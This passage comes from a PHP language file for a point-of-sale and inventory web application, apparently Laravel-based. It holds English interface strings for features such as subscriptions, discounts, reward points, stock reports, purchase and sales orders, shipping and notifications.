<i>:invoice_no</i>', 'notifcation_count_msg' => 'You have :count notifications', 'no_notifications_found' => 'No notifications found', 'edit_multi_unit_help_text' => 'Editing this value will change the purchase & sales stocks accordingly', 'sale_price_is_minimum_sale_price' => 'Sales price is minimum selling price', 'minimum_sale_price_help' => 'If this is enabled, on the POS or Sales screen default selling price will be the minimum selling price for the product. You cannot set price below the default selling price.', 'minimum_selling_price_error_msg' => 'Minimum Selling Price is :price', 'lot_numbers_are_used_in_sale' => 'Cannot be deleted, Some lots from this purchase are already sold', 'created_at' => 'Created At', 'years' => 'Years', 'download' => 'Download', 'previous_file_will_be_replaced' => 'Previously uploaded file will be replaced', 'access_accounts' => 'Access Accounts', 'payment_accounts' => 'Payment Accounts', 'total_shipping_charges' => 'Total Shipping Charges', 'recurring_invoice_error_message' => 'Unable to create invoice for Subscription no.: <i>:subscription_no</i>. Required stock not available for product <i>:product_name</i>', 'load_more' => 'Load More', 'cash_flow' => 'Cash Flow', 'subscribe' => 'Subscribe', 'subscription_interval' => 'Subscription Interval', 'enable_subscription' => 'Enable Subscription', 'subscription_no' => 'Subscription No.', 'start_subscription' => 'Start Subscription', 'stop_subscription' => 'Stop Subscription', 'subscriptions' => 'Subscriptions', 'generated_invoices' => 'Generated Invoices', 'last_generated' => 'Last generated', 'upcoming_invoice' => 'Upcoming invoice', 'total_sales_return' => 'Total Sales Return', 'subscription_invoice' => 'Subscription Invoice', 'subscribed_invoice' => 'Subscribed Invoice', 'view_document' => 'View Document', 'invoice_url_help' => 'Link to view the invoice without login.', 'unit_cannot_be_deleted' => 'Products exist with this unit; Cannot be deleted', 'expiry_date_in_business_date_format' => 'Stock expiry date in <b>Business date format</b>', 'deactivate_selected' => 'Deactivate Selected', 'products_deactivated_success' => 'Products deactivated successfully', 'deactive_product_tooltip' => 'Deactivated products will not be available for purchase or sell', 'reactivate' => 'Reactivate', 'allow_overselling_help' => 'Check this field to allow a product to sell more than the available quantity. Oversold quantity will be adjusted automatically from future stock.', 'add_discount' => 'Add Discount', 'applicable_in_cpg' => 'Apply in selling price groups', 'applicable_in_cg' => 'Apply in customer groups', 'is_active' => 'Is active', 'discount_priority_help' => 'Discount with higher priority will have higher weightage, however priority will not be considered for exact matches', 'inactive' => 'Inactive', 'applied_discount_text' => 'Discount: <i>:discount_name</i> applied (Ends at: <i>:ends_at</i>)', 'discount.access' => 'Add/Edit/Delete Discount', 'product_stock_details' => 'Product Stock Details', 'search' => 'Search', 'total_sold' => 'Total Sold', 'total_stock_available' => 'Total Stock Available', 'total_stock_transfered_to_the_location' => 'Total stock transfered to the location', 'total_stock_transfered_from_the_location' => 'Total stock transfered from the location', 'total_stock_calculated' => 'Total stock calculated', 'adjust_stock_mismatch' => 'Adjust Stock Mismatch', 'opening_balance_payments' => 'Opening Balance Payments', 'enable_service_staff_in_product_line' => 'Enable service staff in product line', 'inline_service_staff_tooltip' => 'If enabled different service staffs can be assigned for different products for an order/sale', 'line_orders' => 'Line Orders', 'total_tax' => 'Total Tax', 'total_discount' => 'Total Discount', 'net_price' => 'Net Price', 'select_same_for_all_rows' => 'Select same value for all products', 'edited' => 'Edited', 'by' => 'By', 'upload_documents' => 'Upload Documents', 'documents' => 'Documents', 'click_to_print' => 'Click to print', 'deactivated_success' => 'Deactivated successfully', 'products_could_not_be_deleted' => "Some products couldn't be deleted because it has transactions related to it.", 'price' => 'Price', 'auto_backup_instruction' => 'To enable auto backup and backup clean you must setup a cron job with this command', 'gross_profit' => 'Gross Profit', 'single' => 'Single', 'variable' => 'Variable', 'total_purchase_price' => 'Total purchase price', 'total_sell_price' => 'Total sell price', 'packing_slip' => 'Packing Slip', 'use_superadmin_email_settings' => 'Use system email configurations', 'profit_by_products' => 'Profit by products', 'profit_by_categories' => 'Profit by categories', 'profit_by_brands' => 'Profit by brands', 'profit_by_locations' => 'Profit by locations', 'profit_by_invoice' => 'Profit by invoice', 'profit_by_date' => 'Profit by date', 'uncategorized' => 'Uncategorized', 'add_purchase_return' => 'Add Purchase Return', 'edit_purchase_return' => 'Edit Purchase Return', 'purchase_return_updated_success' => 'Purchase return updated successfully', 'profit_by_customer' => 'Profit by customer', 'profit_by_day' => 'Profit by day', 'sunday' => 'Sunday', 'monday' => 'Monday', 'tuesday' => 'Tuesday', 'wednesday' => 'Wednesday', 'thursday' => 'Thursday', 'friday' => 'Friday', 'saturday' => 'Saturday', 'show_product_image' => 'Show product image', 'view_user' => 'View User', 'allow_selected_contacts' => 'Allow Selected Contacts', 'allow_selected_contacts_tooltip' => 'Only allow access to selected contacts in sells/purchase customer/supplier search box', 'allowed_contacts' => 'Allowed Contacts', 'view_purchase_price' => 'View Purchase Price', 'view_purchase_price_tooltip' => 'Permission to view purchase price in product details, stock transfer and stock adjustment', 'created' => 'Created', 'updated' => 'Updated', 'deleted' => 'Deleted', 'day' => 'Day', 'is_service_staff_required' => 'Is service staff required', 'items_report' => 'Items Report', 'purchase_price' => 'Purchase Price', 'sell_date' => 'Sell Date', 'returned' => 'returned', 'dob' => 'Date of birth', 'married' => 'Married', 'unmarried' => 'Unmarried', 'marital_status' => 'Marital Status', 'blood_group' => 'Blood Group', 'divorced' => 'Divorced', 'contact_no' => 'Contact Number', 'fb_link' => 'Facebook Link', 'twitter_link' => 'Twitter Link', 'social_media' => 'Social Media :number', 'permanent_address' => 'Permanent Address', 'current_address' => 'Current Address', 'guardian_name' => 'Guardian Name', 'custom_field' => 'Custom Field :number', 'bank_details' => 'Bank Details', 'account_holder_name' => "Account Holder's Name", 'account_number' => 'Account Number', 'bank_name' => 'Bank Name', 'bank_code' => 'Bank Identifier Code', 'bank_code_help' => 'A unique code to identify the bank in your country, for example: IFSC code', 'branch' => 'Branch', 'tax_payer_id' => 'Tax Payer ID', 'tax_payer_id_help' => 'Tax number id of the employee, for example, PAN card in India', 'more_info' => 'More Informations', 'id_proof_name' => 'ID proof name', 'id_proof_number' => 'ID proof number', 'view_own_sell_only' => 'View own sell only', 'reward_point_settings' => 'Reward Point Settings', 'enable_rp' => 'Enable Reward Point', 'rp_name' => 'Reward Point Display Name', 'amount_for_unit_rp' => 'Amount spend for unit point', 'min_order_total_for_rp' => 'Minimum order total to earn reward', 'max_rp_per_order' => 'Maximum points per order', 'earning_points_setting' => 'Earning Points Settings', 'redeem_points_setting' => 'Redeem Points Settings', 'redeem_amount_per_unit_rp' => 'Redeem amount per unit point', 'min_order_total_for_redeem' => 'Minimum order total to redeem points', 'min_redeem_point' => 'Minimum redeem point', 'max_redeem_point' => 'Maximum redeem point per order', 'rp_expiry_period' => 'Reward Point expiry period', 'redeemed_amount' => 'Redeemed Amount', 'max_points_used' => 'Maximum :points points can be used', 'reward_points' => 'Reward Points', 'max_reward_point_available' => 'Maximum :name available', 'min_reward_points_used' => 'Minimum :name can be used', 'redeemed' => 'Redeemed', 'available' => 'Available', 'earned' => 'Earned', 'total_reward_amount' => 'Total customer reward', 'ledger' => 'Ledger', 'type' => 'Type', 'show_payments' => 'Show Payments', 'variation_images' => 'Variation Images', 'file_deleted_successfully' => 'File deleted successfully', 'combo' => 'Combo', 'not_for_selling' => 'Not for selling', 'tooltip_not_for_selling' => 'If checked, product will not be displayed in sales screen for selling purposes.', 'show_reward_point' => 'Show reward point', 'enable_booking' => 'Enable Bookings', 'bulk_edit' => 'Bulk Edit', 'bulk_edit_products' => 'Bulk Edit Products', 'search_product_to_edit' => 'Search product to edit', 'related_sub_units' => 'Related Sub Units', 'sub_units_tooltip' => 'Based on selected Unit it will show sub units for it. Select the sub-unit applicable. Leave blank if all sub-units are applicable for the product.', 'enable_sub_units' => 'Enable Sub Units', 'added_on' => 'Added On', 'quantity_mismatch_exception' => 'ERROR: NOT ALLOWED: Mismatch between sold and available quantity. Product: :product', 'roles_and_permissions' => 'Roles and Permissions', 'admin_role_location_permission_help' => 'Admin can access all locations', 'edit_product_price_from_pos_screen' => 'Edit product price from POS screen', 'edit_product_discount_from_pos_screen' => 'Edit product discount from POS screen', 'download_template_file' => 'Download template file', 'types_of_service' => 'Types of service', 'add_type_of_service' => 'Add type of service', 'packing_charge_type' => 'Packing Charge Type', 'packing_charge' => 'Packing Charge', 'enable_custom_fields' => 'Enable custom fields', 'edit_type_of_service' => 'Edit type of service', 'types_of_service_help' => 'Type of service means services like dine-in, parcel, home delivery, third party delivery etc.', 'select_types_of_service' => 'Select types of service', 'service_custom_field_1' => 'Custom Field 1', 'service_custom_field_2' => 'Custom Field 2', 'service_custom_field_3' => 'Custom Field 3', 'service_custom_field_4' => 'Custom Field 4', 'default_selling_price_group' => 'Default Selling Price Group', 'location_price_group_help' => 'This price group will be used as the default price group in this location.', 'types_of_service_help_long' => 'Type of service means services like dine-in, parcel, home delivery, third party delivery etc. It can be enabled/disabled from <code>Settings > Modules</code> and can be created from <code>Settings > Types of service</code>. You can also define different price group & packing charge for service types.', 'default_accounts' => 'Default Account', 'product_location_help' => 'Locations where product will be available.', 'available_in_locations' => 'Available in locations', 'enable' => 'Enable', 'payment_options' => 'Payment Options', 'pay_reference_no' => 'Pay reference no.', 'search_settings' => 'Search Settings', 'custom_labels' => 'Custom Labels', 'labels_for_custom_payments' => 'Labels for custom payments', 'add_to_location' => 'Add to location', 'remove_from_location' => 'Remove from location', 'add_location_to_the_selected_products' => 'Add location to the selected products', 'remove_location_from_the_selected_products' => 'Remove location from the selected products', 'types_of_service_label' => 'Types of service label', 'show_types_of_service' => 'Show types of service', 'show_tos_custom_fields' => 'Show types of service custom fields', 'types_of_service_module_settings' => 'Types of service module settings', 'product_business_location_tooltip' => 'Product will be available only in this business locations', 'product_not_assigned_to_any_location' => 'Product not assigned to any locations', 'packed' => 'Packed', 'shipped' => 'Shipped', 'delivered' => 'Delivered', 'shipping_address' => 'Shipping Address', 'shipping_status' => 'Shipping Status', 'delivered_to' => 'Delivered To', 'delivery_person' => 'Delivery Person', 'edit_shipping' => 'Edit Shipping', 'shipments' => 'Shipments', 'access_shipping' => 'Access Shipments', 'uploaded_by' => 'Uploaded By', 'account_types' => 'Account Types', 'add_account_type' => 'Add account type', 'parent_account_type' => 'Parent account type', 'edit_account_type' => 'Edit account type', 'account_type' => 'Account Type', 'account_sub_type' => 'Account Sub Type', 'enable_updating_product_price_tooltip' => 'If enabled product purchase price and selling price will be updated after a purchase is added or updated', 'default_datatable_page_entries' => 'Default datatable page entries', 'third_party_order_id' => '3rd party Order ID', 'payment_option_help' => 'Enable or disable payment methods for the location', 'default_account_help' => 'Choose default account to be pre selected for the payment method. You can change it while adding payment', 'product_not_found_exception' => 'Product with SKU :sku not found on row :row', 'price_group_not_found_exception' => 'Price Group with name :pg not found on row :row', 'price_group_non_numeric_exception' => 'Non numeric price found on row :row', 'update_status' => 'Update Status', 'types_of_service_details' => 'Types of service details', 'total_stock_price' => 'Current Stock Value', 'test_email_configuration' => 'Send test email', 'email_tested_successfully' => 'Email configurations verified successfully', 'test_number' => 'Test Number', 'test_sms_configuration' => 'Send test SMS', 'test_number_is_required' => 'Test number is required', 'import_contact_type_ins' => 'Available Options: <strong><br> 1 = Customer, <br> 2 = Supplier <br> 3 = Both</strong>', 'enable_pos_transaction_date' => 'Enable transaction date on POS screen', 'amount_for_unit_rp_tooltip' => '<strong>Meaning how much the customer spent to get one reward points.</strong> <br><br> <strong>Example:</strong> If you set it as 10, then for every $10 spent by customer they will get one reward points. If the customer purchases for $1000 then they will get 100 reward points.', 'max_rp_per_order_tooltip' => 'Maximum reward points customers can earn in one invoice. Leave it empty if you don’t want any such restrictions.', 'min_order_total_for_rp_tooltip' => '<strong>The minimum amount the customer should spend to get reward points.</strong> <br><br> <strong>Example:</strong> If you set it as 100 then customer will get reward points only if there invoice total is greater or equal to 100. If invoice total is 99 then they won’t get any reward points. <br><br>You can set it as minimum 1.', 'redeem_amount_per_unit_rp_tooltip' => '<strong> It indicates the redeem amount per point.</strong> <br><br> <strong>For example:</strong>If 1 point is $1 then enter the value as 1. If 2 points is $1 then enter the value as 0.50', 'min_order_total_for_redeem_tooltip' => 'Minimum order total for which customers can redeem points. Leave it blank if you don’t need this restriction or you need to give something for free.', 'min_redeem_point_tooltip' => 'Minimum redeem points that can be used per invoice. Leave it blank if you don’t need this restriction.', 'max_redeem_point_tooltip' => 'Maximum points that can be used in one order. Leave it blank if you don’t need this restriction.', 'rp_expiry_period_tooltip' => '<strong>Expiry period for points earned by customer.</strong> <br><br>You can set it in months or year. Expired points will get deducted from customer account automatically after this period.', 'configure_product_search' => 'Configure product search', 'search_products_by' => 'Search products by', 'manage_modules' => 'Manage Modules', 'install' => 'Install', 'uninstall' => 'Uninstall', 'module_new_version' => 'There is a new version of :module available <a href=":link" class="tw-dw-btn tw-dw-btn-info tw-pl-2">Update</a>', 'version' => 'Version', 'duplicate_taxonomy_type_found' => 'Duplicate taxonomy type found', 'taxonomy_type_not_found' => 'Taxonomy type not found', 'credit_sales' => 'Credit Sales', 'total_payment' => 'Total Payment', 'deactivate_location' => 'Deactivate Location', 'activate_location' => 'Activate Location', 'business_location_activated_successfully' => 'Business location activated successfully', 'business_location_deactivated_successfully' => 'Business location deactivated successfully', 'show_credit_sale_button' => 'Show Credit Sale Button', 'show_credit_sale_btn_help' => 'If enabled credit sale button will be shown in place of Card button on pos screen', 'credit_sale' => 'Credit Sale', 'tooltip_credit_sale' => 'Checkout as credit sale', 'add_as_sub_txonomy' => 'Add as sub taxonomy', 'select_parent_taxonomy' => 'Select parent taxonomy', 'warranty' => 'Warranty', 'warranties' => 'Warranties', 'all_warranties' => 'All Warranties', 'add_warranty' => 'Add Warranty', 'duration' => 'Duration', 'edit_warranty' => 'Edit Warranty', 'enable_product_warranty' => 'Enable Warranty', 'warranty_ends_on' => 'Warranty ends on', 'restaurant_module_settings' => 'Restaurant module settings', 'warranty_module_settings' => 'Warranty module settings', 'show_warranty_name' => 'Show warranty name', 'show_warranty_exp_date' => 'Show warranty expiry date', 'show_warranty_description' => 'Show warranty description', 'gender' => 'Gender', 'male' => 'Male', 'female' => 'Female', 'others' => 'Others', 'recent_transactions' => 'Recent Transactions', 'add_row' => 'Add row', 'add_widget_here' => 'Add a widget here', 'move_row' => 'Move the row', 'configure_dashboard' => 'Configure Dashboard :name', 'change_return_label' => 'Change return label', 'change_return_help' => 'Change return is the amount to be returned to the customer if excess payment is done.', 'profile_photo' => 'Profile Photo', 'upload_image' => 'Upload Image', 'expense_tax' => 'Expense Tax', 'expense_tax_tooltip' => 'Total tax paid towards business expenses for the selected time period', 'tax_overall' => 'Overall (Input - Output - Expense)', 'overdue' => 'Overdue', 'partial-overdue' => 'Partial Overdue', 'due_date_label' => 'Due date label', 'show_due_date' => 'Show due date', 'contact_custom_field1' => 'Custom Field 1', 'contact_custom_field2' => 'Custom Field 2', 'contact_custom_field3' => 'Custom Field 3', 'contact_custom_field4' => 'Custom Field 4', 'added_by' => 'Added By', 'authorized_signatory' => 'Authorized Signatory', 'no_location_access_found' => 'No location access found', 'location_custom_field1' => 'Custom field 1', 'location_custom_field2' => 'Custom field 2', 'location_custom_field3' => 'Custom field 3', 'location_custom_field4' => 'Custom field 4', 'user_custom_field1' => 'Custom field 1', 'user_custom_field2' => 'Custom field 2', 'user_custom_field3' => 'Custom field 3', 'user_custom_field4' => 'Custom field 4', 'logo_not_work_in_sms' => 'Business logo will not work in SMS', 'notification_email_tooltip' => 'Comma separated string of recipient emails', 'heading' => 'Heading', 'updated_at' => 'Updated At', 'documents_and_notes' => 'Documents & Note', 'add_note' => 'Add Note', 'edit_note' => 'Edit Note', 'is_private' => 'Is Private?', 'private' => 'Private', 'documents' => 'Documents', 'note_will_be_visible_to_u_only' => 'Note & document will be visible to only you', 'activities' => 'Activities', 'no_limit' => 'No Limit', 'contains_media' => 'This note contains media', 'private_note' => 'This is private note', 'amount_rounding_method' => 'Amount rounding method', 'round_to_nearest_whole_number' => 'Round to nearest whole number', 'round_to_nearest_decimal' => 'Round to nearest decimal (multiple of :multiple)', 'amount_rounding_method_help' => 'Example: <br><b>Round to nearest whole number:</b> 2.23 => 2, 2.50 => 3, 2.73 => 3 <br><b>Round to nearest decimal (multiple of 0.05):</b> 2.11 => 2.10, 2.12 => 2.10, 2.13 => 2.15', 'round_off' => 'Round Off', 'round_off_label' => 'Round off label', 'total_sell_round_off' => 'Total sell round off', 'user_info' => 'User Information', 'enable_weighing_scale' => 'Enable Weighing Scale', 'weighing_scale_setting' => 'Weighing Scale barcode Setting', 'weighing_scale_setting_help' => 'Configure barcode as per your weighing scale.', 'weighing_barcode_prefix' => 'Prefix', 'weighing_product_sku_length' => 'Product sku length', 'weighing_qty_integer_part_length' => 'Quantity integer part length', 'weighing_qty_fractional_part_length' => 'Quantity fractional part length', 'weighing_scale' => 'Weighing Scale', 'weighing_scale_barcode' => 'Weighing scale barcode', 'weighing_scale_barcode_help' => 'Scan the barcode from weighing sale and submit', 'prefix_did_not_match' => 'Prefix did not match', 'sku_not_match' => 'No Product found with sku :sku', 'total_quantity_label' => 'Total quantity label', 'account_summary' => 'Account Summary', 'ledger_table_heading' => 'Showing all invoices and payments between :start_date and :end_date', 'beginning_balance' => 'Beginning balance', 'total_invoice' => 'Total invoice', 'balance_due' => 'Balance due', 'send_ledger' => 'Send Ledger', 'notifications' => 'Notifications', 'ledger_attacment_help' => 'Ledger will be attached in PDF format with this email', 'upload_module' => 'Upload Module', 'upload' => 'Upload', 'pls_upload_valid_zip_file' => 'Please upload a valid zip file.', 'import_sales' => 'Import Sales', 'preview_imported_sales' => 'Preview Imported Sales', 'customer_phone_number' => 'Customer Phone number', 'customer_email' => 'Customer Email', 'item_tax' => 'Item Tax', 'item_discount' => 'Item Discount', 'item_description' => 'Item Description', 'order_total' => 'Order Total', 'upload_and_review' => 'Upload and review', 'group_sale_line_by' => 'Group sell line by', 'import_sale_product_not_found' => 'Product with name :product_name or sku :sku not found in row :row', 'import_sale_tax_not_found' => 'Tax with name :tax_name not found in row :row', 'email_or_phone_required' => 'Customer phone or email is required', 'product_name_or_sku_is_required' => 'Product name or SKU is required', 'quantity_is_required' => 'Quantity is required', 'unit_price_is_required' => 'Unit price is required', 'sales_imported_successfully' => 'Sales imported successfully', 'upload_data_in_excel_format' => 'Upload sales data in excel format', 'map_columns_with_respective_sales_fields' => 'Choose respective sales fields for each column', 'choose_location_and_group_by' => 'Choose business location and column by which sell lines will be grouped', 'date_format_instruction' => 'Sale date time format should be "Y-m-d H:i:s" (2020-07-15 17:45:32)', 'product_name_single_only' => 'Product name (Single or combo products only)', 'product_sku' => 'Product SKU', 'product_unit' => 'Product Unit', 'import_sale_unit_not_found' => 'Unit with name :unit_name not found in row :row', 'types_of_servicet_not_found' => 'Types of service with name :types_of_service_name not found in row :row', 'email_or_phone_cannot_be_empty_in_row' => 'Either customer phone or email is required in row :row', 'product_cannot_be_empty_in_row' => 'Either product name or product SKU is required in row :row', 'quantity_cannot_be_empty_in_row' => 'Product quantity is required in row :row', 'unit_price_cannot_be_empty_in_row' => 'Unit Price is required in row :row', 'imports' => 'Imports', 'invoices' => 'Invoices', 'import_batch' => 'Import batch', 'import_time' => 'Import time', 'cannot_select_a_field_twice' => 'You cannot select a field twice', 'revert_import' => 'Revert Import', 'import_reverted_successfully' => 'Import reverted successfully', 'importable_fields' => 'Importable fields', 'sort_order' => 'Sort order', 'total_returned' => 'Total returned', 'skip' => 'SKIP', 'group_by_tooltip' => 'Column for grouping sell lines in same invoice', 'allowed_file' => 'Allowed File', 'detailed_with_purchase' => 'Detailed (With purchase)', 'supplier_name' => 'Supplier Name', 'purchase_ref_no' => 'Purchase ref no.', 'save_and_print' => 'Save and print', 'update_and_print' => 'Update and print', 'all_your_discounts' => 'All your discounts', 'priority' => 'Priority', 'starts_at' => 'Starts At', 'ends_at' => 'Ends At', 'used_for_browser_based_printing' => 'Used for browser based printing', 'hsn_or_category_code' => 'HSN or Category Code', 'discounts' => 'Discounts', 'allow_overselling' => 'Allow Overselling', 'profile_updated_successfully' => 'Profile updated successfully', 'password_updated_successfully' => 'Password updated successfully', 'u_have_entered_wrong_password' => 'You have entered wrong password', 'business_dont_have_crm_subscription' => "Business doesn't have Crm subscription", 'source' => 'Source', 'life_stage' => 'Life Stage', 'assigned_to' => 'Assigned to', 'view_own_purchase' => 'View own purchase only', 'view_own_expense' => 'View own expense only', 'allow_login' => 'Allow login', 'login_not_allowed' => 'Login not allowed', 'labels_for_contact_custom_fields' => 'Labels for contact custom fields', 'labels_for_product_custom_fields' => 'Labels for product custom fields', 'labels_for_purchase_custom_fields' => 'Label for purchase custom fields', 'labels_for_sell_custom_fields' => 'Labels for sell custom fields', 'labels_for_location_custom_fields' => 'Labels for location custom fields', 'labels_for_types_of_service_custom_fields' => 'Labels for types of service custom fields', 'labels_for_user_custom_fields' => 'Labels for user custom fields', 'total_transfer_shipping_charge' => 'Total transfer shipping charge', 'total_purchase_shipping_charge' => 'Total purchase shipping charge', 'total_sell_shipping_charge' => 'Total sell shipping charge', 'opening_stock_location' => 'Opening stock location', 'product_locations_ins' => 'Comma separated string of business location names where product will be available', 'product_locations' => 'Product locations', 'view_products' => 'View Products', 'pos_screen_featured_products' => 'POS screen Featured Products', 'featured_products_help' => 'Selected products will be shown on top of the pos screen product suggestion for quick access', 'purchase_report' => 'Purchase Report', 'sale_report' => 'Sale Report', 'payment_date' => 'Payment Date', 'year_month' => 'Year/Month', 'lead' => 'Lead', 'featured_products' => 'Featured Products', 'repeat_on' => 'Repeat on', 'access_tables' => 'Access tables', 'access_printers' => 'Access printers', 'access_types_of_service' => 'Access types of service', 'search_address' => 'Search address', 'contact_locations' => 'Contact Locations', 'map' => 'Map', 'both_customer_and_supplier' => 'Both customer & supplier', 'service' => 'Service', 'either_cust_email_or_phone_required' => 'Either customer email id or phone number required', 'either_product_name_or_sku_required' => 'Either product name (for single and combo only) or product sku required', 'show_invoice_scheme' => 'Show invoice scheme', 'select_invoice_scheme' => 'Select invoice scheme', 'recurring_expense_help' => 'If checked this expense will be automatically generated at regular intervals.', 'recur_interval' => 'Recurring interval', 'recur_expense_repetition_help' => 'If blank expense will be generated infinite times', 'recurring_expense_message' => 'New recurring expense generated. Ref no.: <i>:ref_no</i>', 'recurring_expense' => 'Recurring expense', 'generated_recurring_expense' => 'Generated recurring expense', 'select_contacts' => 'Select contacts', 'middle_name' => 'Middle name', 'address_line_1' => 'Address line 1', 'address_line_2' => 'Address line 2', 'dob' => 'Date of birth', 'dob_ins' => 'Format Y-m-d', 'by_purchase_price' => 'By purchase price', 'by_sale_price' => 'By sale price', 'potential_profit' => 'Potential profit', 'apply_all' => 'Apply all', 'hide_all_prices' => 'Hide all prices', 'select_invoice_layout' => 'Select invoice layout', 'max_sales_discount_percent' => 'Max sales discount percent', 'max_sales_discount_percent_help' => 'Maximum discount percentage that a user can give during sale. Leave it blank for no constraints', 'max_discount_error_msg' => 'You can give max :discount% discount per sale', 'show_invoice_layout' => 'Show invoice layout dropdown', 'woocommerce_enabled' => 'Woocommerce enabled', 'recurred_from' => 'Recurred from', 'recur_details' => 'Recurring details', 'recurring' => 'Recurring', 'view_product_stock_value' => 'View product stock value', 'added' => 'Added', 'disable_credit_sale_button' => 'Disable credit sale button', 'pay' => 'Pay', 'use_advance_balance' => 'Use advance balance', 'advance' => 'Advance', 'advance_balance' => 'Advance Balance', 'advance_payment' => 'Advance payment', 'required_advance_balance_not_available' => 'Required advance balance not available', 'in_transit' => 'In Transit', 'edit_stock_transfer' => 'Edit Stock Transfer', 'completed_status_help' => 'Stock transfer will not be editable if status is completed', 'no_data' => 'No data', 'sms_service' => 'SMS Service', 'nexmo_key' => 'Nexmo Key', 'nexmo_secret' => 'Nexmo Secret', 'twilio_token' => 'Twilio Access Token', 'twilio_sid' => 'Twilio Account SID', 'upcoming' => 'Upcoming', 'final' => 'Final', 'expense_for_contact' => 'Expense for contact', 'create' => 'Create', 'waiting' => 'Waiting', 'sms_settings_header_key' => 'Header :number key', 'sms_settings_header_val' => 'Header :number value', 'stock_adjustment_details' => 'Stock adjustment details', 'stock_transfer_details' => 'Stock transfer details', 'invoice_layout_for_pos' => 'Invoice layout for POS', 'invoice_layout_for_sale' => 'Invoice layout for sale', 'invoice_layout_for_sale_tooltip' => 'Invoice layout for direct sales', 'new_quotation' => 'New Quotation', 'new_quotation_notification' => 'New quotation notification', 'view_quote_url' => 'View quote url', 'close_cash_register' => 'Close cash register', 'view_cash_register' => 'View cash register', 'for_tax_group_only' => 'For tax group only', 'for_tax_group_only_help' => 'If checked, this tax will not be displayed indivisually in dropdowns, only can be added in tax group', 'exempt' => 'Exempt', 'tax_exempt_help' => 'Zero percent tax rate will be considered as tax exempt', 'show_total_in_words' => 'Show total in words', 'show_in_word_help' => 'php-intl extention need to be enabled', 'print_on_suspend' => 'Print invoice on suspend', 'view_all_customer' => 'View all customer', 'view_own_customer' => 'View own customer', 'view_all_supplier' => 'View all supplier', 'view_own_supplier' => 'View own supplier', 'label_help' => 'Print Barcode/Label', 'connection_type_windows' => 'Connection Type Windows', 'connection_type_linux' => 'Connection Type Linux', 'windows_type_help' => 'The device files will be along the lines of', 'linux_type_help' => 'Your printer device file will be somewhere like', 'due_date' => 'Due Date', 'quotation_no' => 'Quotation number', 'browser_based_printing' => 'Browser Based Printing', 'configured_printer' => 'Use Configured Receipt Printer', 'calendar' => 'Calendar', 'parent_payment' => 'Parent Payment', 'for_normal_printer' => 'For normal printer', 'recomended_for_80mm' => 'Recommended for thermal line receipt printer, 80mm paper size', 'recomended_for_58mm' => 'Recommended for thermal line receipt printer, 80mm and 58mm paper size', 'classic' => 'Classic', 'elegant' => 'Elegant', 'slim' => 'Slim', 'detailed' => 'Detailed', 'columnize_taxes' => 'Columnize Taxes', 'access_sell_return' => 'Access sell return', 'system_notification' => 'System Notification', 'time_range' => 'Time range', 'enable_php_intl_extension' => 'Enable php-intl extension in PHP INI settings', 'profit_note' => '<b>Note:</b> Profit by products/categories/brands only considers inline discount. Invoice discount is not considered.', 'is_refund' => 'Is refund', 'is_refund_help' => 'If checked expense will be refunded and will be added to net profit', 'refund' => 'Refund', 'activate' => 'Activate', 'deactivate' => 'Deactivate', 'add_quotation' => 'Add Quotation', 'product_stock_history' => 'Product stock history', 'quantities_in' => 'Quantities In', 'quantities_out' => 'Quantities Out', 'in' => 'In', 'out' => 'Out', 'totals' => 'Totals', 'quantity_change' => 'Quantity change', 'new_quantity' => 'New Quantity', 'no_stock_history_found' => 'No stock history found', 'add_draft' => 'Add Draft', 'labels_for_sale_shipping_custom_fields' => 'Labels for sale shipping custom fields', 'is_required' => 'Is required', 'convert_to_invoice' => 'Convert to invoice', 'converted_to_invoice_successfully' => 'Converted to invoice :invoice_no successfully', 'proforma' => 'Proforma', 'proforma_invoice' => 'Proforma invoice', 'convert_to_proforma' => 'Convert to Proforma Invoice', 'converted_to_proforma_successfully' => 'Converted to Proforma Invoice', 'billing_address' => 'Billing Address', 'delete_sell' => 'Delete Sell', 'product_brochure' => 'Product brochure', 'whatsapp_text' => 'Whatsapp Text', 'auto_send_wa_notif' => 'Auto send Whatsapp notification', 'send_whatsapp' => 'Send Whatsapp notification', 'send_sms' => 'Send SMS', 'send_email' => 'Send Email', 'shipping_documents' => 'Shipping Documents', 'no_attachment_found' => 'No attachment found', 'attachments' => 'Attachments', 'print_invoice' => 'Print Invoice', 'word_format' => 'Word Format', 'international' => 'International', 'indian' => 'Indian', 'word_format_help' => 'In international format big numbers are represented in million, billion and trillion where as in indian format it is represented in lakhs and crores', 'shipping_edited' => 'Shipping edited', 'payment_edited' => 'Payment edited', 'notification_sent' => 'Notification Sent', 'imported' => 'Imported', 'logout' => 'Logout', 'backup_clean_command_instruction' => 'To clean up old backup you must setup a cron job with this command:', 'converted' => 'Converted', 'view_commission_agent_sell' => 'Commission agent can view their own sell', 'access_commission_agent_shipping' => 'Commission agent can access their own shipments', 'access_own_shipping' => 'Access own shipments', 'email_notification_sent' => 'Email notification sent', 'sms_notification_sent' => 'Sms notification sent', 'packing_date' => 'Packing Date', 'print_exp_date' => 'Print expiry date', 'print_packing_date' => 'Print packing date', 'print_lot_number' => 'Print lot number', 'family_contact_number' => 'Family contact number', 'custom_payment' => 'Custom Payment :number', 'default_credit_limit' => 'Default credit limit', 'price_calculation_type' => 'Price calculation type', 'show_pricing_on_product_sugesstion' => 'Show pricing on product suggestion tooltip', 'all_purchase_orders' => 'All purchase orders', 'add_purchase_order' => 'Add Purchase Order', 'edit_purchase_order' => 'Edit purchase order', 'purchase_order_details' => 'Purchase order details', 'enable_purchase_order' => 'Enable purchase order', 'purchase_order_help_text' => 'A purchase order is a commercial document and first official offer issued by a buyer to a seller indicating types, quantities, and agreed prices for products or services. It is used to control the purchasing of products and services from external suppliers.Purchase orders can be an essential part of enterprise resource planning system orders.', 'view_all_purchase_order' => 'View all purchase order', 'view_own_purchase_order' => 'View own purchase order', 'create_purchase_order' => 'Create purchase order', 'edit_purchase_order' => 'Edit purchase order', 'delete_purchase_order' => 'Delete purchase order', 'purchase_order_delete_success' => 'Purchase order deleted successfully', 'order_quantity' => 'Order quantity', 'order_date' => 'Order date', 'max_quantity_quantity_allowed' => 'Max :quantity allowed', 'leave_empty_to_autogenerate' => 'Leave empty to autogenerate', 'add_edit_invoice_number' => 'Add edit invoice number', 'keep_blank_to_autogenerate' => 'Keep blank to auto generate', 'download_pdf' => 'Download pdf', 'attach_pdf_in_email' => 'Attach invoice pdf in email', 'send_sms_whatsapp_notification' => 'Send sms/whatsapp notification', 'enable_sales_order' => 'Enable Sales Order', 'sales_order' => 'Sales Order', 'sales_order_help_text' => 'The sales order, sometimes abbreviated as SO, is an order issued by a business or sole trader to a customer. A sales order may be for products and/or services.', 'add_sales_order' => 'Add Sales Order', 'edit_sales_order' 